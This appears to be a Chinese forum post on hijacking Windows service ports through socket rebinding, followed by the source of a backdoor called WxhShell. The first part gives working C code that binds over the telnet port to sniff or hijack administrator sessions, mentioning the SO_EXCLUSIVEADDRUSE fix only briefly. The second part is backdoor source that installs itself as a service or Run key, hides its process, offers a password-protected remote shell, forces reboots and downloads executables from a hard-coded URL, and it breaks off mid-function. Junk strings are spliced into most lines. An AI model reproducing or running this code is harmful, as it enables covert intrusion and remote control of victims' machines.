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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [sy~i{Bm  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N>/!e787OU  
;xS@-</:  
  saddr.sin_family = AF_INET; P\pHos  
1~zzQ:jAZ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); K7 -AVMY  
Fw)#[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /q^)thJ~  
$BXZFC_1S  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #.'0DWT \-  
'=Nb`n3%  
  这意味着什么?意味着可以进行如下的攻击: mCb(B48]%X  
o:W>7~$jr=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "3(""0Q  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) SIYBMe  
TWZ* *S-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3X=9$xw_  
K`{P/w  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,.A@U*j  
>-*rtiE  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 T~8==Z{[  
p.A_,iE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 UyTsUkY  
,&e0~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 'y[74?1  
($pNOG H  
  #include MKf|(6;~  
  #include #^4p(eZ[}  
  #include WK)hj{k  
  #include    NvW`x   
  DWORD WINAPI ClientThread(LPVOID lpParam);   (~q.YJ'  
  int main() r'/&{?Je/  
  { /99S<U2ej  
  WORD wVersionRequested; &kUEnwQ -  
  DWORD ret; duFVh8  
  WSADATA wsaData; Q3[MzIk 4  
  BOOL val; #I8)|p?P  
  SOCKADDR_IN saddr; ZP~Mgz{f  
  SOCKADDR_IN scaddr; ABb,]%  
  int err; >'ev_eAk  
  SOCKET s; 3`.*~qW  
  SOCKET sc; Z}#'.y\ f  
  int caddsize; %A64AJZ  
  HANDLE mt; KSDz3qe  
  DWORD tid;   ~" |MwR!0  
  wVersionRequested = MAKEWORD( 2, 2 ); = >CADTU  
  err = WSAStartup( wVersionRequested, &wsaData ); q!iTDg*$  
  if ( err != 0 ) { js;p7wi  
  printf("error!WSAStartup failed!\n"); o@:${> jw  
  return -1; nWb*u  
  } 'K&^y%~py,  
  saddr.sin_family = AF_INET; 7^)8DwAl  
   -<H\VT%98  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0)F.Y,L  
Z.'j7(tu  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?1w{lz(P  
  saddr.sin_port = htons(23); .j^tFvN~L  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <` [o|>A Z  
  { i<@"+~n~GK  
  printf("error!socket failed!\n"); XuS3#L/3p  
  return -1; M$_E:u&D  
  } 2tD{c^ 9<  
  val = TRUE; VaP9&tWXj  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4PK/8^@7)>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) : N9,/-s  
  { uPCzs$R  
  printf("error!setsockopt failed!\n"); V6Z~#=EQ  
  return -1; ~&HP }Q$#f  
  } ^/]w}C#:d  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4fauI%kc  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 E{s p  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 la4 #2>#WZ  
S:B$c>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6`Hd)T5{w  
  { 2_T2?weD5  
  ret=GetLastError(); Ig&H0S  
  printf("error!bind failed!\n"); WbJ|]}hJ\  
  return -1; Nm$B a.Rg  
  } X* 4C?v  
  listen(s,2); ]31>0yj[Q  
  while(1) 4 .Kl/b;  
  { n8 UG{. =  
  caddsize = sizeof(scaddr); Lb]!TOl  
  //接受连接请求 !0-KB#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5 EhOvt8  
  if(sc!=INVALID_SOCKET) 'Em3;`/C*+  
  { VAW:h5j2@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S)LvYOOB@  
  if(mt==NULL) K* R  
  { [nc-~T+Mo  
  printf("Thread Creat Failed!\n"); ca=sc[ $+  
  break; sqXwDy+.  
  } `D/<*e,#  
  } W&~\@j]!D  
  CloseHandle(mt); H!'Ek[s+  
  } ycq+C8J+Ep  
  closesocket(s); :; z]:d  
  WSACleanup(); ,J6t 1V  
  return 0; srlxp_^  
  }   >Nam@,hm  
  DWORD WINAPI ClientThread(LPVOID lpParam) A_e&#O  
  { r 4 $<,~  
  SOCKET ss = (SOCKET)lpParam; kB` @M>[  
  SOCKET sc; jOUM+QO  
  unsigned char buf[4096]; F(O"S@  
  SOCKADDR_IN saddr; -kF8ZF  
  long num; h* 72 f/#  
  DWORD val; ?e{hidg  
  DWORD ret; *@I/TX'\rY  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >:Y"DX-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Q~R%|Q{&  
  saddr.sin_family = AF_INET; tm1#Lh0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |)VNf .aJZ  
  saddr.sin_port = htons(23); B>}B{qi|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z:^ (#G{  
  { C'~E q3  
  printf("error!socket failed!\n"); lVv'_9yg  
  return -1; d\ I6Wn  
  } |.*nq  
  val = 100; GIb,y,PDB  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~4+ICCbH  
  { ]z O6ESH  
  ret = GetLastError(); 63E)RR_Lh  
  return -1; #V{!|Y'  
  } / Q| Z&-c  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B?%e-xV-  
  { \@[Y ~:  
  ret = GetLastError(); buldA5*!o  
  return -1; |&"/u7^  
  } `h%K8];<6f  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) P b-4$n2c  
  { 4wKQs&:  
  printf("error!socket connect failed!\n"); W7W(jMH  
  closesocket(sc); BZQ"[-V{  
  closesocket(ss); 5BJn_<  
  return -1; H Y~[/H+:  
  } -zg 6^f_pW  
  while(1) iNs@8<=$T  
  { VS\| f'E  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 cG"wj$'w  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *(s0X[-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2FN E ;y(  
  num = recv(ss,buf,4096,0); $D='NzE/  
  if(num>0) *ESi~7;#  
  send(sc,buf,num,0); aX,6y1  
  else if(num==0) KV8Ok  
  break; w5 #;Lm  
  num = recv(sc,buf,4096,0); %I=/ y  
  if(num>0) wRdN(`;v  
  send(ss,buf,num,0); Tn"@u&P *  
  else if(num==0) {%_D> y  
  break; \9fJ)*-  
  } 99\lZ{f(  
  closesocket(ss); ov<vSc<u  
  closesocket(sc); O7]kcA  
  return 0 ; @Q7^caG  
  } T[evh]koB  
H|S hi/  
}uwZS=pw  
========================================================== 3*T/ 7\  
U2)?[C1q{  
下边附上一个代码,,WXhSHELL g"~`\ xhx  
EQe$~}[  
========================================================== ;}lsD1S:  
J%]5C}v \  
#include "stdafx.h" )<%CI#s#  
^-L nO%h?  
#include <stdio.h> YSzC's[  
#include <string.h> rB-R(2 CCN  
#include <windows.h> N1}r%!jk/  
#include <winsock2.h> @QMU$]&i]  
#include <winsvc.h> 8=@f lK  
#include <urlmon.h> ~g9~D}48k'  
d/3bE*gr  
#pragma comment (lib, "Ws2_32.lib") ]s0GAp"  
#pragma comment (lib, "urlmon.lib") A{dqB  
bk0<i*ju7(  
#define MAX_USER   100 // 最大客户端连接数 r $[{sW  
#define BUF_SOCK   200 // sock buffer iGSF5S  
#define KEY_BUFF   255 // 输入 buffer Es- =0gpK  
vmv6y*qU  
#define REBOOT     0   // 重启 Q,M,^_  
#define SHUTDOWN   1   // 关机 r0wAh/J|  
Pv=]7> e  
#define DEF_PORT   5000 // 监听端口 f9OY> |a9  
La28%10  
#define REG_LEN     16   // 注册表键长度 HWIn.ij  
#define SVC_LEN     80   // NT服务名长度 \T[OF8yhW  
 od$$g(  
// 从dll定义API pHowioFx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n2dOCntN>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); DQ}&J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o=RxQk1N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TV|Z$,6l  
qC=9m[MI  
// wxhshell配置信息 37biRXqLH  
struct WSCFG { Adet5m.|[8  
  int ws_port;         // 监听端口 <I*N=;7  
  char ws_passstr[REG_LEN]; // 口令 g\9&L/xDN  
  int ws_autoins;       // 安装标记, 1=yes 0=no f*:N*cC  
  char ws_regname[REG_LEN]; // 注册表键名 wy^mh.= UX  
  char ws_svcname[REG_LEN]; // 服务名 vTo+jQs^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bxPJ5oT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OLWn0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S(Z\h_m(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :fDzMD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q6hH]Q>w*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U# IPYyV  
+U<.MVOo.  
}; belBdxa{"  
OJ7 Uh_;/  
// default Wxhshell configuration L8Q/!+K  
struct WSCFG wscfg={DEF_PORT,  c_,pd  
    "xuhuanlingzhe", d04gmc&*  
    1, zJh!Q**  
    "Wxhshell", GO"E>FyB  
    "Wxhshell", _>)@6srC  
            "WxhShell Service", 8#R%jjr%T  
    "Wrsky Windows CmdShell Service", G({5LjgW  
    "Please Input Your Password: ", QkWEVL@uM  
  1, w#_7,*6]  
  "http://www.wrsky.com/wxhshell.exe", qY!LzKM0  
  "Wxhshell.exe" C8do8$  
    }; eY%Ep=J  
I FvigDj?  
// 消息定义模块 T*S) U ;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .76Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H@1qU|4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -GCU6U|  
char *msg_ws_ext="\n\rExit."; cd~QGP_C  
char *msg_ws_end="\n\rQuit."; i!fk'Yt%  
char *msg_ws_boot="\n\rReboot..."; {MN6JGb|'  
char *msg_ws_poff="\n\rShutdown..."; aK(e%Ed t"  
char *msg_ws_down="\n\rSave to "; xb"e'Zh  
QpiDBJCL  
char *msg_ws_err="\n\rErr!"; Uu@qS  
char *msg_ws_ok="\n\rOK!"; *NM*   
oiM['iDK  
char ExeFile[MAX_PATH]; \II^&xSF  
int nUser = 0; NG RXNh+  
HANDLE handles[MAX_USER]; ~[kI! [  
int OsIsNt; d|`8\fq  
UV</Nx)3  
SERVICE_STATUS       serviceStatus; APJFy@l}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `Ba?4_>k  
)iVuac]E++  
// 函数声明 ?=1i:h  
int Install(void); 6mIeV0Q'  
int Uninstall(void); Q/J<$W*,  
int DownloadFile(char *sURL, SOCKET wsh); mwn$ey&QE  
int Boot(int flag); &4%78K\  
void HideProc(void); + rM]RFi  
int GetOsVer(void); JaR!9GVN7  
int Wxhshell(SOCKET wsl); 1D2RhM%  
void TalkWithClient(void *cs); uKTYb#E7  
int CmdShell(SOCKET sock); RQu[FZT,  
int StartFromService(void); dtj b(*x  
int StartWxhshell(LPSTR lpCmdLine); 82V;J 8T?  
hD7vjg& Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !HtW~8|:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); oA:`=f%\  
. Y$xNLoP[  
// 数据结构和表定义 ]dV $H  
SERVICE_TABLE_ENTRY DispatchTable[] = ++ 5!8Nv  
{ O;&5> W,Z  
{wscfg.ws_svcname, NTServiceMain}, (WP^}V5  
{NULL, NULL} *5\'$;Rg  
}; HX,i{aWWy  
~0o>B$xJ  
// 自我安装 IFZw54  
int Install(void) 56u_viZ=8  
{ ~9,Fc6w4`+  
  char svExeFile[MAX_PATH]; sHV?njZd  
  HKEY key; LF)wn -C}  
  strcpy(svExeFile,ExeFile); 0bD\`Jiv,  
Au{b1n  
// 如果是win9x系统,修改注册表设为自启动 90-s@a3B-j  
if(!OsIsNt) { R:ecLbC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { knfmJUT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )3V1aC  
  RegCloseKey(key); ^; }Y ZBy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %sPq*w.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $Y\7E/T  
  RegCloseKey(key); %Na` \`L{F  
  return 0; cBU3Q<^  
    } hBifn\dFr  
  } ah(k!0PV  
} 9l|*E  
else { ,|;\)tT  
&m]jYvRc  
// 如果是NT以上系统,安装为系统服务 Q4Qf/q;U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k'sPA_|  
if (schSCManager!=0) .$Yp~  
{ ,Ij/ ^EC}  
  SC_HANDLE schService = CreateService ??LE0i  
  ( 9+8N-LZ  
  schSCManager, AM#s2.@  
  wscfg.ws_svcname, :QHh;TIG=<  
  wscfg.ws_svcdisp, \.GA" _y  
  SERVICE_ALL_ACCESS, 1=z\,~ b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fP8bWZ{  
  SERVICE_AUTO_START, C*1 1?B[  
  SERVICE_ERROR_NORMAL, K$s{e0 79  
  svExeFile, SLH;iqPT  
  NULL, 83aWMmA(1  
  NULL, rd24R-6  
  NULL, 8o).q}>&  
  NULL, <^W5UU#Pg  
  NULL y@AUSh;  
  ); )jjaY1E  
  if (schService!=0) H;DjM;be  
  { ^X"x,8}&V  
  CloseServiceHandle(schService); A!uiM*"W  
  CloseServiceHandle(schSCManager); I*g[Y=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /YvwQ  
  strcat(svExeFile,wscfg.ws_svcname); #BgiDLh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +CXq41g"c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {d)L0KXK  
  RegCloseKey(key); V^>< =DNE  
  return 0; Hq?dqg'%~  
    } g:6 `1C  
  } HV]u9nrt#  
  CloseServiceHandle(schSCManager); u?>8`]r  
} xK5~9StP  
} 7xO~v23oe  
7&w[h4Lw  
return 1; n;:C{5  
} a1QW0d  
g@>93j=cZU  
// 自我卸载 ta'wX   
int Uninstall(void) 0bSnD|#I  
{ # $'H?lO  
  HKEY key; QBfo=9[=e  
-3m!970  
if(!OsIsNt) { t8.3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { afu!.}4Ct  
  RegDeleteValue(key,wscfg.ws_regname); ,Vof<,x0  
  RegCloseKey(key); '!`]Zc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZqjLZ9?q  
  RegDeleteValue(key,wscfg.ws_regname); ()n2 KT  
  RegCloseKey(key); $U)nrn i  
  return 0; Pmd5P:n*,  
  } M7-2;MZ  
} "x0KiIoPk  
} ?N@[R];  
else { ZG~d<kM&8s  
9ESV[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /*GCuc|  
if (schSCManager!=0) Y'#uZA3KA  
{ m9-=Y{&/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SO<9?uk.  
  if (schService!=0) F%O+w;J4  
  { <,U$Y>  
  if(DeleteService(schService)!=0) { ^f,%dM=i=  
  CloseServiceHandle(schService); Blj<|\ igc  
  CloseServiceHandle(schSCManager); 1xO-tIp/  
  return 0; YlR9 1L X  
  } %u2",eHCB  
  CloseServiceHandle(schService); 4[Wwm  
  } jw0wR\1  
  CloseServiceHandle(schSCManager); s k3 AwG;A  
} Pa$"c?QUy  
} ::-*~CH)  
fP$rOJ)P  
return 1; ;Sp/N4+  
} H6/gRv@  
FC]n?1?<(  
// 从指定url下载文件 8= =_43  
int DownloadFile(char *sURL, SOCKET wsh) Ue"pNjd|  
{ YgjN*8w\  
  HRESULT hr; 9o3?  
char seps[]= "/"; "M^mJl&*b  
char *token; ySF^^X $J  
char *file; Y_~otoSoY  
char myURL[MAX_PATH]; (Ap?ixrR_  
char myFILE[MAX_PATH]; )#`&[9d-  
>Pvz5Hf/wW  
strcpy(myURL,sURL); ;krIuk-  
  token=strtok(myURL,seps); h R6Pj"@0  
  while(token!=NULL) Ry?f; s  
  { iqN?'8  
    file=token; ^ohIJcI-  
  token=strtok(NULL,seps); ksUF(lYk  
  } Q^* 3 3  
.>LJ(Sx9b  
GetCurrentDirectory(MAX_PATH,myFILE); Z'|k M!  
strcat(myFILE, "\\"); \l`{u)V  
strcat(myFILE, file); bL+}n8B  
  send(wsh,myFILE,strlen(myFILE),0); Q\btl/?  
send(wsh,"...",3,0); Wr'1Y7z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tZu1jBO_Q4  
  if(hr==S_OK) i)$<j!L  
return 0; P>03 DkbB  
else b # Llu$  
return 1; Lg|d[*;'7  
jvo^I$|2h  
} o8NRu7@?  
9n"MNedqH  
// 系统电源模块 jX^_(Kg  
int Boot(int flag) imKMPO=  
{ !fjB oK+  
  HANDLE hToken; Q{yjIy/b  
  TOKEN_PRIVILEGES tkp; 91nw1c!  
9`M7 -{  
  if(OsIsNt) { @ rF|WT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :H+8E5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M Ih\z7gW  
    tkp.PrivilegeCount = 1; z<.?8bd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )lq+Gv[%F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q1m{G1W n  
if(flag==REBOOT) { ^`Hb7A(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aK 3'u   
  return 0; 77ztDQDtM  
} Ds#BfP7a  
else { ,J:Ro N_:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q>5j (,6F  
  return 0; cS Qb3}a\  
} aK 7 }}  
  } !%.=35NS@E  
  else { i6g=fx6j*  
if(flag==REBOOT) { v-/vj/4>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $dA]GWW5A  
  return 0; 15r=d  
} {w7/M]m-  
else { ExeZj8U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E=`/}2  
  return 0; c5: X$k\  
} 9PMIF9"   
} |--Jd$ dj  
qwO@>wQ}~  
return 1; N,3iSH=cN[  
} ?-)v{4{s  
P%N)]b<c*  
// win9x进程隐藏模块 qB&Je$_uh  
void HideProc(void) dP`B9>r  
{ sRqecG(n  
| 68k9rq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i4nFjz  
  if ( hKernel != NULL ) tBX71d T  
  { B-PX/Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /'b7q y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o$rF-?  
    FreeLibrary(hKernel); T Q5kM  
  } \PcnD$L  
dC|6z/  
return; ,Q0H)// ~  
} M |f V7g  
V Ew| N)  
// 获取操作系统版本 t[@>u'YKt  
int GetOsVer(void) \O\q1 s~  
{ beSU[  
  OSVERSIONINFO winfo; XUD Ztxa  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gga}mqMv=  
  GetVersionEx(&winfo); yxU9W,D v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jL'`M%8O  
  return 1; KSHq0A6/q%  
  else S4'<kF0z  
  return 0; *[|+5LVn  
} }W&9}9p"  
{8oGWQgrj  
// 客户端句柄模块 F\|4zM  
int Wxhshell(SOCKET wsl) =%7s0l3z  
{ b6p'%;Y/  
  SOCKET wsh; , 2xv  
  struct sockaddr_in client; N"suR}9%  
  DWORD myID; '2ZvK  
j4+Px%sW  
  while(nUser<MAX_USER) JodD6 ;P  
{ Ks@c wY  
  int nSize=sizeof(client); s~9n13z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QR_h#N2h  
  if(wsh==INVALID_SOCKET) return 1; 1j:aGj>{  
VCJOWU EO1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }lT;?|n:h  
if(handles[nUser]==0) .{} 8mFi1  
  closesocket(wsh); Gh@~~\  
else i];P!Gm  
  nUser++; @BF1X.4-+  
  } KROD(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #<ST.f@*  
C/'w  
  return 0; `48Ql  
} Y]](.\ff  
}a.j~>rq  
// 关闭 socket zn7)>cQ905  
void CloseIt(SOCKET wsh) HD/!J9&  
{ %OHZOs  
closesocket(wsh); %.?V\l  
nUser--; E)ZL+(  
ExitThread(0); :O$bsw:3w<  
} OZnKJ<  
W5=)B`v  
// 客户端请求句柄  o?m/  
void TalkWithClient(void *cs) U+@U/s%8  
{ [.1ME lM  
PMV,*`"9"A  
  SOCKET wsh=(SOCKET)cs; RtzSe$O  
  char pwd[SVC_LEN]; :GO"bsjL  
  char cmd[KEY_BUFF]; LO>42o?/i  
char chr[1]; WmN( (  
int i,j; A`ajsZ{q,  
R&J?X Q  
  while (nUser < MAX_USER) { }v4dOGc?  
7B (%2  
if(wscfg.ws_passstr) { (Bd'Pj]:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K +3=gBU*w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Dfa3&# #{  
  //ZeroMemory(pwd,KEY_BUFF); ?%}!_F`h%  
      i=0; #/f~LTE  
  while(i<SVC_LEN) { _#s,$K#  
8/BMFRJ  
  // 设置超时 pDSNI2  
  fd_set FdRead; D fzsA4  
  struct timeval TimeOut; \6JOBR  
  FD_ZERO(&FdRead); -!:5jfT"  
  FD_SET(wsh,&FdRead); Xq&BL,lS  
  TimeOut.tv_sec=8; 46Sz#^y P  
  TimeOut.tv_usec=0; {G VA4=UAE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s&(;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y,3ZdY"  
IhYR4?e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ``Q6R2[|)  
  pwd=chr[0]; ;'= cNj  
  if(chr[0]==0xd || chr[0]==0xa) { c$%*p (zY  
  pwd=0; nGkSS_X  
  break; W>)0=8#\  
  } mpMAhm:  
  i++; %kjG[C  
    } !W9:)5^X  
]p 3f54!  
  // 如果是非法用户,关闭 socket +ovK~K $A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RbXR/Rd  
} U/QgO  
m(6d3P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a[(OeVQ5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G~YZ(+V%~  
voRry6Q;  
while(1) { )J}v.8   
|uqI}6h.  
  ZeroMemory(cmd,KEY_BUFF); 9ziFjP+1  
<78|~SKAV  
      // 自动支持客户端 telnet标准   _wS=*-fT  
  j=0; (^m] 7l  
  while(j<KEY_BUFF) { 0f.j W O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <ak[`]  
  cmd[j]=chr[0]; 2 HEU  
  if(chr[0]==0xa || chr[0]==0xd) { dD=$$( je  
  cmd[j]=0; a3tcLd|7J  
  break; 89g a+#7  
  } JfIXv  
  j++; MK=oGzK  
    } _9 ]:0bDUo  
\7r0]& _  
  // 下载文件 >8>!wi9U  
  if(strstr(cmd,"http://")) { ,=P&{38\q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =GPXuo  
  if(DownloadFile(cmd,wsh)) 3k`Q]O=OU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LV^^Bd8Ct  
  else v$|~ g'6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &aLTy&8Fv  
  }  D}98ZKi  
  else { 30! DraW8  
(WyNO QO'  
    switch(cmd[0]) { $Es\ld  
  fRQ,Z  
  // 帮助 0\P5=hD)K  
  case '?': { >.d/@3 '  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b0{i +R  
    break;  ?<EzILM  
  } si]VM_w6  
  // 安装 Fo.Y6/}  
  case 'i': { %8FfP5#  
    if(Install()) =9GA LoGL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q&eyqk   
    else o utJ/~9;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?,>3uD#  
    break; F@i >l{C  
    } 7__[=)(b2X  
  // 卸载 YsVmU  
  case 'r': { ](w)e p~;3  
    if(Uninstall()) i6'=]f'{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Sw~<B!8N  
    else ub-3/T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [a2]_]E%  
    break; b>; ?{  
    } | ys5.|  
  // 显示 wxhshell 所在路径 H5}61JC/z  
  case 'p': { 9\_AB.Z:  
    char svExeFile[MAX_PATH]; /?'~`4!(  
    strcpy(svExeFile,"\n\r"); K ze?@*  
      strcat(svExeFile,ExeFile); fp' '+R[   
        send(wsh,svExeFile,strlen(svExeFile),0); }=[p>3Dd  
    break; nK1eh@a9Qv  
    } 0K%okq|n  
  // 重启 NP T-d  
  case 'b': { dLiiJ6pl*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tYu<(Z(l)  
    if(Boot(REBOOT)) 'x*C#mt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bY" zK',m  
    else { $oBs%.Jp  
    closesocket(wsh); >Ku4Il+36  
    ExitThread(0); 2/&=:,"t,B  
    } pl`4&y%Me  
    break; &n6{wtBP  
    } wk|+[Rl;L  
